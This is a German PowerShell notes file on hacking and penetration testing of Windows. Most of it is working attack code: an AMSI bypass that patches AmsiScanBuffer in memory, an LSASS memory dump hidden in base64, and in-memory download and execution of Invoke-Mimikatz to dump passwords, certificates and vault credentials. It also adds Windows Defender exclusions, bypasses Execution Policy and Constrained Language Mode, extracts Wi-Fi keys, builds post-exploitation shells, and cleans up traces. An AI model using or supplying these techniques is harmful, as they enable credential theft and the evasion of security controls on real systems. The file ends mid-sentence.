Private/Wissen/X_Technology/X05_Hacking.ps1
<#
# Hacking / Penetration-Testing Mittels PowerShell Windows auf Schwachstellen prüfen - **Hashtags** ACL SecureString Password Penetration Test Admin - **Version** 2020.05.13 https://pad.disroot.org/p/psdp #> # [System.Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')] # param() # TODO Weiterführende und Nachschlage-Informationen: # TODO - Siehe auch: C11_Sicherheit.ps1 #region Die Phasen eines Angriffs # In der Praxis dauert es im Durchschnitt 100 Tage, bis die Anwesenheit von Angreifern in einem Unternehmens-Netzwerk bemerkt wird. In diesem Zeitraum können die Angreifer ungestört ihre Ziele verfolgen. # Alle bösartigen Befehle werden im nicht-dauerhaften Arbeitsspeicher ausgeführt. Die Folge ist: # - Die Erkennung durch Malware-Scanner wird erschwert # - Durch diese Flüchtigkeit das sammeln von Beweismittel behindert # - Die spätere forensische Untersuchung erschwert #region Die Phasen eines Angriffs (Cyber Kill Chain nach Lockheed Martin) # 1. Aufklärung (Reconnaissance) :: Hier wählt der Angreifer sein Ziel aus. Sammelt Informationen. Versucht, Schwachstellen in seinem Zielnetzwerk zu identifizieren. # 2. Bewaffnung (Weaponization) :: Der Angreifer erstellt eine Schad-Software (Malware), maßgeschneidert auf eine spezifische Schwachstelle seines Ziels. # 3. Auslieferung (Delivery) :: Der Angreifer sendet den Schadcode zu seinem Ziel, etwa als E-Mail-Anhang oder über USB-Sticks. # 4. Ausnutzung (Exploitation) :: Es wird der Schadcode der vorbereiteten Schad-Software ausgeführt. # 5. Etablierung (Installation) :: Die Malware permanent auf dem Zielrechner installiert. # 6. Steuerung & Kontrolle (Command and Control) :: Um Daten entwenden zu können, wird ein dauerhafter Zugriff auf die Infrastruktur des Ziels eingerichtet. Es werden weitere Hintertüren installiert. # 7. Ausbeutung (Action on Objectives) :: Der Angreifer führt die für sein eigentliches Ziel notwendigen Handlungen durch, indem er Daten stiehlt, löscht oder zur Erpressung verschlüsselt. #endregion #region Die unterschiedlichen Phasen im Detail # ! Aufklärung (Reconnaissance, Information Gathering, Situational Awareness, Enumeration) # Informationen über angegriffenen Rechner und unmittelbare Netzumgebung sammeln. # Interessante Dateien und Daten finden, etwa Kreditkartendaten oder Geschäftsgeheimnisse. # ! Steuerung (Command and Control, Code Execution) # Einen oder mehrere übernommene Rechner fernsteuern. # ! Persistenz (Persistence, Backdooring) # Dauerhaften unbemerkten Zugriff auf ein System einrichten. # Mindestens auf einen Rechner im Zielnetzwerk permanenten Zugriff halten. # ! Datendiebstahl (Credential Theft, Asset Discovery) # Vertrauliche Informationen, geistiges Eigentum, oder Zugangsdaten wie Benutzernamen, Passwörter und Passwort-Hashes auslesen. # ! Rechteerweiterung (Privilege Escalation) # Von einem normalen Benutzerzugang mit eingeschränkten Privilegien über lokale Administrator-Befugnisse bis hin zu Domänen-Administrator-Rechten. # ! Ausbreitung (Lateral Movement, Pivoting, Network Colonization) # Von einem befallenen Rechner den Zugriff auf weitere Rechner ausbreiten. # ! Spurenbeseitigung (Log Tampering) # Spuren des Angriffs von den befallenen Systemen entfernen. # ! Systemstörung (System Disruption, Denial of Service) # Dienste und Systeme unmittelbar in ihrer bestimmungsgemäßen Funktion stören. # ! Datenausschaffung (Data Exfiltration, Complete Mission) # Gestohlene Daten unbemerkt aus dem angegriffenen Netzwerk ausschaffen. #endregion #endregion #region Besitzt der Benutzer Admin-Rechte $identity = [Security.Principal.WindowsIdentity]::GetCurrent() $principal = New-Object -TypeName Security.Principal.WindowsPrincipal -ArgumentList $identity $HaveAdminRights = $principal.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) if($HaveAdminRights) { "JA, Admin-Rechte für $($identity.Name) vorhanden!" | Write-Warning } else { "NEIN, Admin-Rechte für $($identity.Name) liegen NICHT vorhanden!" | Write-Warning } #endregion #region SecureString entschlüsseln # ! SecureString entschlüsseln: $geheim = Read-Host -Prompt "Passphrase eingeben" -AsSecureString "GEHEIME BOTSCHAFT LAUTET: " + [System.Runtime.InteropServices.marshal]::PtrToStringAuto([System.Runtime.InteropServices.marshal]::SecureStringToBSTR($geheim)) # ! Get-Credential entschlüsseln: $cred = Get-Credential -Message "HR Leader" -UserName "mueller" "BENUTZERNAME: " + $cred.UserName "PASSWORT: " + [System.Runtime.InteropServices.marshal]::PtrToStringAuto([System.Runtime.InteropServices.marshal]::SecureStringToBSTR($cred.Password)) #endregion #region PowerShell ScriptBlock-Code über eine .EXE-Datei ausführen # ! Eine weitere Umgehungsmöglichkeit besteht darin, PowerShell-Scripts zu ausführbaren Dateien zu kompilieren: Set-Location -Path "C:\Temp" @' using System; using System.Diagnostics; using System.Management.Automation; using System.Collections.ObjectModel; namespace WindowsFormsApplication1 { static class Program { [STAThread] static void Main() { var powershell = PowerShell.Create(); powershell.AddScript("'Hallo Welt!' | Write-Output", true); // <= Auszuführender PowerShell-Code var pSOutput = powershell.Invoke(); foreach (var outputItem in pSOutput) { if (outputItem != null) Console.WriteLine(outputItem.BaseObject.ToString() + "\n"); } } } } '@ | Set-Content 'start.cs' -Encoding UTF8 -Force Start-Process -FilePath "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" -ArgumentList "-target:exe", "-out:start.exe", "-reference:C:\windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll", "start.cs" # * Weitere Details zum Compiler siehe https://msdn.microsoft.com/en-us/library/78f4aasd.aspx # ! Testen: Get-ChildItem -Path '.\start.*' .\start.exe # TODO Aufräumen und keine Spuren hinterlassen: Remove-Item -Path "C:\Temp\start.cs", "C:\Temp\start.exe" -Recurse -Force #endregion #region String-Code mittels Invoke-Expression ausführen (RAM to 'Function:\'-PSDrive) # ! das Cmdlet Invoke-Expression interpretiert Text als PowerShell-Befehle und führt diese dann aus: @' function Out-MiniDump { <# .SYNOPSIS MemoryDump of a process. .PARAMETER Process The process object is obtained with Get-Process. .PARAMETER DumpFilePath Specifies the path where dump files will be written. By default, dump files are written to the current working directory. Dump file names take following form: ProcessName_id.dmp .EXAMPLE Out-MiniDump -Process (Get-Process -Id 4293) Get-Process lsass | Out-MiniDump Get-Process | Out-MiniDump -DumpFilePath C:\Temp .INPUTS System.Diagnostics.Process => You can pipe a process object to Out-MiniDump. .OUTPUTS System.IO.FileInfo #> [CmdletBinding()] Param ( [Parameter(Mandatory = $true, ValueFromPipeline = $true)] [System.Diagnostics.Process] $Process, [ValidateScript({ Test-Path $_ })] [String] $DumpFilePath = $PWD ) BEGIN { $WER = [PSObject].Assembly.GetType('System.Management.Automation.WindowsErrorReporting') $WERNativeMethods = $WER.GetNestedType('NativeMethods', 'NonPublic') $Flags = [Reflection.BindingFlags]'NonPublic, Static' $MiniDumpWriteDump = $WERNativeMethods.GetMethod('MiniDumpWriteDump', $Flags) $MiniDumpWithFullMemory = [UInt32]2 } PROCESS { $ProcessId = $Process.Id $ProcessName = $Process.Name $ProcessHandle = $Process.Handle $ProcessFileName = "$($ProcessName)_$($ProcessId).dmp" $ProcessDumpPath = Join-Path $DumpFilePath $ProcessFileName $FileStream = New-Object IO.FileStream($ProcessDumpPath, [IO.FileMode]::Create) $code = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String("JFJlc3VsdCA9ICRNaW5pRHVtcFdyaXRlRHVtcC5JbnZva2UoJG51bGwsIEAoJFByb2Nlc3NIYW5kbGUsICRQcm9jZXNzSWQsICRGaWxlU3RyZWFtLlNhZmVGaWxlSGFuZGxlLCAkTWluaUR1bXBXaXRoRnVsbE1lbW9yeSwgW0ludFB0cl06Olplcm8sIFtJbnRQdHJdOjpaZXJvLCBbSW50UHRyXTo6WmVybykp")); Invoke-Expression -Command $code $FileStream.Close() if (-not $Result) { $Exception = New-Object ComponentModel.Win32Exception $ExceptionMessage = "$($Exception.Message) ($($ProcessName):$($ProcessId))" Remove-Item $ProcessDumpPath -ErrorAction SilentlyContinue Write-Error -Exception $ExceptionMessage } else { Get-ChildItem $ProcessDumpPath } } END {} } '@ | Invoke-Expression Get-Command -Name 'Out-MiniDump' Get-Process -Name "lsass" | Out-MiniDump -DumpFilePath "c:\temp\" # LSASS => Local Security Authority Subsystem Service Get-ChildItem -Path "C:\Temp\lsass_*.dmp" Get-Content -Path 'C:\Temp\lsass_1044.dmp' # TODO Aufräumen und keine Spuren hinterlassen: Remove-Item -Path "C:\Temp\lsass_*.dmp", "Function:\Out-MiniDump" -Force #endregion #region Bestehende restriktive Ausführungsrichtlinien (Execution Policy) aushebeln # TODO Vorbereitung: '"Code-Ausführung der Ausführbaren-Datei Test.ps1 erfolgreich!" | Write-Warning' | Out-File -FilePath "C:\Temp\Test.ps1" -Force Set-ExecutionPolicy -ExecutionPolicy "Restricted" -Scope "Process" -Force Set-ExecutionPolicy -ExecutionPolicy "Restricted" -Scope "CurrentUser" -Force Set-ExecutionPolicy -ExecutionPolicy "Restricted" -Scope "LocalMachine" -Force Get-ExecutionPolicy -List # ! NICHT Erlaubt & 'C:\Temp\Test.ps1' # * ERLAUBT Get-Content -Path 'C:\Temp\test.ps1' | powershell.exe -NoProfile - # * ERLAUBT powershell.exe -NoProfile -ExecutionPolicy ByPass & 'C:\Temp\Test.ps1' exit # TODO Aufräumen und keine Spuren hinterlassen: Set-ExecutionPolicy -ExecutionPolicy "RemoteSigned" -Scope "Process" -Force Set-ExecutionPolicy -ExecutionPolicy "RemoteSigned" -Scope "CurrentUser" -Force Set-ExecutionPolicy -ExecutionPolicy "RemoteSigned" -Scope "LocalMachine" -Force Get-ExecutionPolicy -List Remove-Item -Path "C:\Temp\Test.ps1" #endregion #region Die dauerhafte (per Umgebungs-Variable) 'Constrained Language Mode'-Einschränkung umgehen # TODO Vorbereitung: # ? Den 'Constrained Language Mode' DAUERHAFT aktivieren: [Environment]::SetEnvironmentVariable("__PSLockDownPolicy", "4", "Machine") # 1 => FullLanguage $env:__PSLockDownPolicy $Host.Runspace.LanguageMode # ! Die Folge ist, das jeder PowerShell-Host (Console, ISE, VSCode, etc.) im eingeschränkten Modus startet und z.B. folgendes nicht möglich ist: [System.Diagnostics.Stopwatch]::GetTimestamp() # ! Hacker-Attacke: New-Item -Path "C:\System32" -ItemType "Directory" -Force @' Write-Host ($Host.Runspace.LanguageMode) [System.Diagnostics.Stopwatch]::GetTimestamp() | Out-Host '@ | Out-File -FilePath "C:\System32\ByPass.psm1" -Force Import-Module -Name "C:\System32\ByPass.psm1" -Force # TODO Aufräumen und keine Spuren hinterlassen: Remove-Item -Path "C:\System32\ByPass.psm1", "C:\System32" -Force [Environment]::SetEnvironmentVariable("__PSLockDownPolicy", "1", "Machine") #endregion #region Scan-Ausnahmen für Windows Defender definieren # ! Den Ordner C:\Temp als Ausnahme im Windows Defender hinterlegen New-Item -Path "C:\Temp" -ItemType "Directory" -Force Add-MpPreference -ExclusionPath "C:\Temp" -Force Set-Location -Path "C:\Temp" # TODO Aufräumen und keine Spuren hinterlassen: # ! Die Ausnahme für den Ordner C:\Temp wieder aufheben. Remove-MpPreference -ExclusionPath "C:\Temp" -Force #endregion #region Bösartige Scripte downloaden und den Virenscanner umgehen / überlisten (AMSI-Bypass) # ! Verschiedene Amsi-Bypass-Powershell-Verfahren werden hier erläutert https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell # ! Carrie Roberts (https://www.blackhillsinfosec.com/bypass-anti-virus-run-mimikatz/) demonstriert, wie man die meisten Virenscanner durch Suchen und Ersetzen einiger markanter Stellen überlisten kann. # ! Mit https://www.virustotal.com können Sie Dateien prüfen und erhalten eine Erkennungsrate der diversen Virenscanner. # ! Schon der Url wird vom Viren-Scanner (Windows Defender) erkannt: $url = "https://raw.githubusercontent.com/BC-SECURITY/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1" # * Lösung: $url = "https://raw.githubusercontent.com/BC-SECURITY/Empire/master/data/module_source/credentials/Invoke-Mimi" + "katz.ps1" # ! Jetzt wird jedoch der Download vom Virenscanner erkannt: Invoke-WebRequest -Uri $url -OutFile "C:\Temp\Invoke-Mimikatz.ps1" # TODO Lösung: AntiMalware Scan Interface temporär manipulieren: Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } "@ $LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll") $Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer") $p = 0 [Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p) [System.Runtime.InteropServices.Marshal]::Copy([Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3), 0, $Address, 6) # ! Der Download ist jetzt möglich: Invoke-WebRequest -Uri $url -OutFile 'C:\Temp\Invoke-MimiKatz.ps1' # ! Jetzt können wir jedoch nicht auf die Datei zugreifen da dieser wieder vom Virenscanner verhindert wird: & ("C:\Temp\Invoke-Mimi" + "Katz.ps1") # TODO Lösung: Das Script als String im RAM downloaden und mittels Invoke-Expression in function:\ materialisieren: $ScriptContent = Invoke-WebRequest -Uri $url | Select-Object -ExpandProperty "Content" Invoke-Expression -Command $ScriptContent Get-Command -Name 'Invoke-Mimikatz' Get-Help -Name "Invoke-Mimikatz" -ShowWindow # Beschreibung von MimiKatz unter https://github.com/gentilkiwi/mimikatz # TODO Aufräumen und keine Spuren hinterlassen: Remove-Item -Path "Function:\Invoke-Mimikatz" -Force Remove-Variable -Name "url", "LoadLibrary", "Address", "p", "ScriptContent" -Force #endregion #region Kennwörter und Zertifikate mit Invoke-Mimikatz auslesen # ! 1. Arbeitsverzeichnis einrichten: (New-Item -Path "C:\Temp" -ItemType "Directory" -Force).FullName | Set-Location # ! 2. AMSI-Bypass etablieren: Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } "@ $LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll") $Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer") $p = 0 [Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p) Start-Sleep -Seconds 1 [System.Runtime.InteropServices.Marshal]::Copy([Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3), 0, $Address, 6) # ! 3. Invoke-WebRequest downloaden und in function:\ materialisieren: $url = 'https://github.com/samratashok/nishang/raw/master/Gather/Invoke-Mimi' + 'katz.ps1' #$url = 'https://raw.githubusercontent.com/BC-SECURITY/Empire/master/data/module_source/credentials/Invoke-Mimi' + 'katz.ps1' Invoke-Expression -Command ( Invoke-WebRequest -Uri $url | Select-Object -ExpandProperty "Content" ) # ! 4. Invoke-Mimikatz benutzen (https://github.com/gentilkiwi/mimikatz): Get-Help -Name "Invoke-Mimikatz" -ShowWindow # ! 4.1. Passwörter angemeldeter Benutzer auslesen: # TODO TESTSITUATION (User-Password): New-LocalUser -Name "Peter" -Password (Read-Host -Prompt "Passwort für Peter" -AsSecureString) -AccountExpires (Get-Date).AddHours(5) -PasswordNeverExpires -UserMayNotChangePassword $CredPeter = Get-Credential -Message "Für localhost" -UserName "Peter" Start-Process -FilePath "C:\Windows\notepad.exe" -Credential $CredPeter # ! AUSWERTUNG: Invoke-Mimikatz -DumpCreds | Out-File "C:\Temp\Overview_All_Passwords.txt" Get-Content -Path "C:\Temp\Overview_All_Passwords.txt" | Select-String -Pattern "(Username|Password)" # ! 4.2. Zertifikate mit privaten Schlüssel exportieren: # TODO TESTSITUATION (User-Certificates): $params = @{ Subject = "CN=_Peter_Admin (PS Developer), E=p.admin@abc.local" HashAlgorithm = "SHA512" KeyExportPolicy = [Microsoft.CertificateServices.Commands.KeyExportPolicy]::ExportableEncrypted CertStoreLocation = "Cert:\CurrentUser\My" Type = [ Microsoft.CertificateServices.Commands.CertificateType]::CodeSigningCert NotAfter = (Get-Date).AddDays(2) } New-SelfSignedCertificate @params # ! AUSWERTUNG: Invoke-Mimikatz -DumpCerts Get-ChildItem -Path "C:\Temp\*_Peter_Admin (PS Developer).pfx" | Select-Object -ExpandProperty FullName # ! Passwort ist: mimikatz # ! 4.3. Weitere Auswertung diverse Passwort-Stores (ACHTUNG NICHT DRITTE AUF DEN MONITOR SCHAUEN LASSEN - NICHTS FÜR SCHWACHE NERVEN): Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::tspkg"' Invoke-Mimikatz -Command "vault::list" Invoke-Mimikatz -Command "vault::cred" Invoke-Mimikatz -Command "crypto::keys /export" # TODO Aufräumen und keine Spuren hinterlassen: Remove-Item -Path "C:\Temp\*.der", "C:\Temp\*.pfx", "C:\Temp\Overview_All_Passwords.txt" -Recurse -Force Get-ChildItem -Path "Cert:\" -Recurse | Where-Object -Property "Subject" -ceq "CN=_Peter_Admin (PS Developer), E=p.admin@abc.local" | Remove-Item -Force Remove-LocalUser -Name "Peter" Remove-Item -Path "Function:\Invoke-Mimikatz" -Force Remove-Variable -Name "PfxFullName", "pfxCert", "params", "CredPeter", "url", "p", "Address", "LoadLibrary" Set-Location -Path "$env:USERPROFILE" #endregion #region WLAN-Profile auslesen inkl. PSK $WLans = netsh wlan show profiles | Select-String -Pattern "Profil für alle Benutzer" | Foreach-Object -Process { $_.ToString() } $exportdata = $WLans | Foreach-Object { $_.Replace(" Profil für alle Benutzer : ", $null) } $exportdata | ForEach-Object { netsh wlan show profiles name="$_" key=clear } | Out-File -FilePath "C:\Temp\WLanProfiles.log" Get-ChildItem -Path "C:\Temp\WLanProfiles.log" | Get-Content # TODO Aufräumen und keine Spuren hinterlassen: Remove-Item -Path "Variable:\WLans", "Variable:\exportdata", "C:\Temp\WLanProfiles.log" -Force #endregion #region Umgehung durch alternative Shells # ! Powershell CLM Bypass Using Runspaces # ! https://www.secjuice.com/powershell-constrainted-language-mode-bypass-using-runspaces/ # TODO Arbeitsbereitschaft herstellen: Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } "@ $LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll") $Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer") $p = 0 [Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p) [System.Runtime.InteropServices.Marshal]::Copy([Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3), 0, $Address, 6) $WorkDirectoryBackup = Get-Location New-Item -Path 'c:\Temp' -ItemType Directory -Force | Select-Object -ExpandProperty 'FullName' | Set-Location Add-MpPreference -ExclusionPath 'C:\Temp' -Force #region # ? p0wnedShell # * SYNOPSIS p0wnedShell ist eine in C# geschriebene PowerShell-Hostanwendung die nicht auf powershell.exe basiert. # * LAST UPDATE 2019 # * SOURCE https://github.com/Cn33liz/p0wnedShell # * DESCRIPTION <# p0wnedShell ist eine in C # geschriebene PowerShell-Hostanwendung, die nicht auf powershell.exe basiert, sondern powershell-Befehle und -Funktionen in einer Powershell-Runspace-Umgebung (.NET) ausführt. Es enthält viele PowerShell-Module und Binärdateien, um den Prozess der Nachnutzung zu vereinfachen. Wir haben versucht, ein „All-in-One“ -Post-Exploitation-Tool zu entwickeln, mit dem wir alle Abhilfemaßnahmen (oder zumindest einige davon) umgehen können, und das alle relevanten Tools enthält. Sie können es verwenden, um moderne Angriffe in Active Directory-Umgebungen auszuführen und das Bewusstsein Ihres Blue-Teams zu stärken, damit es die richtigen Verteidigungsstrategien entwickeln kann. #> # ! p0wnedShell etablieren: Invoke-WebRequest -Uri "https://github.com/Cn33liz/p0wnedShell/archive/master.zip" -OutFile "C:\Temp\p0wnedShell.zip" Expand-Archive -Path "C:\Temp\p0wnedShell.zip" -DestinationPath "c:\temp" -Force Rename-Item -Path "C:\Temp\p0wnedShell-master" -NewName "p0wnedShell" -Force Get-ChildItem -Path C:\temp\p0wnedShell -Recurse C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Temp\p0wnedShell\p0wnedShell.sln /t:Rebuild /p:Configuration=Release /p:Platform=X64 Start-Process -FilePath "C:\Temp\p0wnedShell\p0wnedShell\bin\x64\Release\p0wnedShell.exe" #endregion #region # ? PowerOPS # ! ACHTUNG: Stand 30.01.2020 unter Windows 10 ist PowerOPS unbrauchbar da es von Defender erkannt wird. # * SYNOPSIS Tragbares PowerShell Runspace-Tool zum Penetration-Test # * LAST UPDATE 2019 # * SOURCE https://github.com/fdiskyou/PowerOPS # * DESCRIPTION <# PowerOPS ist eine in C# geschriebene Anwendung, die nicht auf powershell.exe basiert, sondern PowerShell-Befehle und -Funktionen in einer Powershell-Runspace-Umgebung (.NET) ausführt. Es ist beabsichtigt, mehrere PowerShell-Module zu integrieren, um den Prozess der Nachnutzung zu vereinfachen. Es versucht, dem KISS-Prinzip zu folgen und so einfach wie möglich zu sein. Das Hauptziel besteht darin, die offensive Verwendung von PowerShell zu vereinfachen und die Umgehung von Virenschutz- und anderen Schadensbegrenzungslösungen zu unterstützen. Dies geschieht durch: - Es ist nicht auf powershell.exe angewiesen, sondern ruft PowerShell direkt über das .NET-Framework auf, wodurch möglicherweise Sicherheitskontrollen wie GPO, SRP und App Locker umgangen werden. - Die Nutzdaten werden aus dem Speicher ausgeführt und berühren niemals die Festplatte, wodurch die meisten Antiviren-Engines umgangen werden. - PowerOPS wurde von Cn33liz / p0wnedShell inspiriert. #> Invoke-WebRequest -Uri "https://github.com/fdiskyou/PowerOPS/archive/master.zip" -OutFile "C:\Temp\PowerOPS.zip" Expand-Archive -Path "C:\Temp\PowerOPS.zip" -DestinationPath "c:\temp" -Force Rename-Item -Path "C:\Temp\PowerOPS-master" -NewName "PowerOPS" -Force C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Temp\PowerOPS\PowerOPS.sln /t:Rebuild /p:Configuration=Release /p:Platform=X64 Start-Process -FilePath "C:\Temp\PowerOPS\PowerOPS\bin\x64\Release\PowerOPS.exe" #endregion #region # ? PS>Attack <# https://github.com/jaredhaight/PSAttack PS>Attack von Jared Haight wurde im März 2016 auf der Konferenz CarolinaCon vorgestellt [16, S. 1-2]. Im Gegensatz zu den bislang aufgezählten Skriptsammlungen ist PS>Attack eine kompilierte Binärdatei, die ein Angreifer auf einem übernommenen Rechner aufbringen kann. Mit dieser Binärdatei können PowerShell-Skripte selbst dann aufgerufen und interpretiert werden, wenn die Ausführung der Standard-Konsole powershell.exe gesperrt wurde. Denn PS>Attack bindet eine tiefer liegende Komponente des Betriebssystems zur PowerShell-Interpretation ein und funktioniert so unmittelbar von einer frischen Windows-7-Installation bis zu einem aktuell gepatchten Windows 10. Mit dem PowerShell-Kommando Get-Attack können die verfügbaren Skripte innerhalb der PS>Attack-Konsole angezeigt werden. Abbildung 8: Übersicht über in PS>Attack integrierte Module (Quelle: https://adsecurity.org/?p=2921) In die Binärdatei von PS>Attack einkompiliert ausgeliefert werden über Hundert bekannte offensive PowerShell-Skripte, darunter ausgewählte Befehle aus PowerSploit, Nishang und PowerCat. Damit das Post-Exploitation-Werkzeug von Malwarescannern und von Incident Respondern trotz der ausführbaren Datei, die auf den angegriffenen Rechner aufgebracht wird, dennoch nicht einfach erkannt werden kann, nutzt es einige Techniken zur Verschleierung: So sind etwa Skripte innerhalb der Binärdatei von PS>Attack verschlüsselt gespeichert und werden erst beim Starten der Konsole in den Arbeitsspeicher entschlüsselt; dadurch landen die Angriffsskripte niemals im Klartext auf der Festplatte [16, S. 15]. #> #endregion #region # ? PowerShell Empire # ! This project is no longer supported # https://github.com/EmpireProject/Empire # http://www.powershellempire.com # Empire ist ein Post-Exploitation-Framework, das einen reinen PowerShell2.0-Windows-Agenten und einen reinen Python 2.6 / 2.7-Linux / OS X-Agenten enthält. #endregion # TODO Aufräumen und keine Spuren hinterlassen: Remove-Module -Name "*" -Force -Verbose Remove-MpPreference -ExclusionPath "C:\Temp" -Force $WorkDirectoryBackup | Set-Location Remove-Item -Path "C:\Temp" -Recurse -Force Remove-Variable -Name "WorkDirectoryBackup", "LoadLibrary", "Address", "p" -Force #endregion #region Windows-Passwörter mit MimiKatz.exe auslesen # ! Führen Sie alle PowerShell-Befehle mit privilegierten Administratoren-Rechten aus! # TODO Den Ordner C:\Temp anlegen, als Ausnahme im Windows Defender hinterlegen und als Arbeitsverzeichnis setzen: New-Item -Path "C:\Temp" -ItemType "Directory" -Force Add-MpPreference -ExclusionPath "C:\Temp" -Force Set-Location -Path "C:\Temp" # TODO MimiKatz als 7Zip-Datei von GitHub downloaden: [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]'Tls11,Tls12' Invoke-WebRequest -Uri ("https://github.com/gentilkiwi/mimi" + "katz/releases/latest/download/mimi" + "katz_trunk.7z") -OutFile (".\mimi" + "katz_trunk.7z") # TODO 7Zip-Modul installieren und MimiKatz zu entpacken: Install-Module -Name "7Zip4Powershell" -Scope "CurrentUser" -Force -AllowClobber Expand-7Zip -ArchiveFileName (".\mimi" + "katz_trunk.7z") -TargetPath ".\" # TODO MimiKatz starten ... Start-Process -FilePath (".\x64\mimi" + "katz.exe") # TODO .. und folgende Befehle eingaben: # Elevate Privileges to extract the credentials, This should give am error if you are Admin, but if it does, check if the SeDebugPrivilege was removed from Admins # privilege::debug # token::elevate # Extract from lsass (memory): # sekurlsa::logonpasswords # Extract from SAM: # lsadump::sam # ! TATA Eine Übersicht angemeldeter Usern mit Benutzername, Passwörter Hash-Werten # TODO Aufräumen und keine Spuren hinterlassen: Remove-Item -Path "C:\Temp\*" -Recurse -Force Remove-Module -Name "7Zip4Powershell" -Force Uninstall-Module -Name "7Zip4Powershell" -Force Remove-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest" -Name "UseLogonCredential" -Force Remove-MpPreference -ExclusionPath "C:\Temp" -Force Set-Location -Path $env:USERPROFILE #endregion #region Hacking-Tools für PowerShell # TODO Arbeitsbereitschaft herstellen: Add-Type -TypeDefinition @" using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); } "@ $LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll") $Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer") $p = 0 [Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p) [System.Runtime.InteropServices.Marshal]::Copy([Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3), 0, $Address, 6) $WorkDirectoryBackup = Get-Location New-Item -Path c:\Temp -ItemType Directory -Force | Select-Object -ExpandProperty "FullName" | Set-Location Add-MpPreference -ExclusionPath "C:\Temp" -Force #region # ? PowerSploit # * Letztes Update: 2016 # * Quelle: https://github.com/PowerShellMafia/PowerSploit # * Beschreibung <# PowerSploit ist eine Sammlung von Microsoft PowerShell-Modulen, mit denen Penetrations-Tester in allen Phasen einer Bewertung unterstützt werden können. PowerSploit besteht aus folgenden Modulen und Skripten: # CodeExecution Execute code on a target machine. Invoke-DllInjection => Injects a Dll into the process ID of your choosing. Invoke-ReflectivePEInjection => Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. ? Invoke-Shellcode => Injects shellcode into the process ID of your choosing or within PowerShell locally. Invoke-WmiCommand => Executes a PowerShell ScriptBlock on a target computer and returns its formatted output using WMI as a C2 channel. # ScriptModification Modify and/or prepare scripts for execution on a compromised machine. Out-EncodedCommand => Compresses, Base-64 encodes, and generates command-line output for a PowerShell payload script. Out-CompressedDll => Compresses, Base-64 encodes, and outputs generated code to load a managed dll in memory. Out-EncryptedScript => Encrypts text files/scripts. Remove-Comments => Strips comments and extra whitespace from a script. # Persistence Add persistence capabilities to a PowerShell script New-UserPersistenceOption => Configure user-level persistence options for the Add-Persistence function. New-ElevatedPersistenceOption => Configure elevated persistence options for the Add-Persistence function. Add-Persistence => Add persistence capabilities to a script. Install-SSP => Installs a security support provider (SSP) dll. Get-SecurityPackages => Enumerates all loaded security packages (SSPs). # AntivirusBypass AV doesn't stand a chance against PowerShell! ? Find-AVSignature => Locates single Byte AV signatures utilizing the same method as DSplit from "class101". # Exfiltration All your data belong to me! Invoke-TokenManipulation => Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread. Invoke-CredentialInjection => Create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon). Invoke-NinjaCopy => Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures. ! Invoke-Mimikatz => Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz. * Get-Keystrokes => Logs keys pressed, time and the active window. Get-GPPPassword => Retrieves the plaintext password and other information for 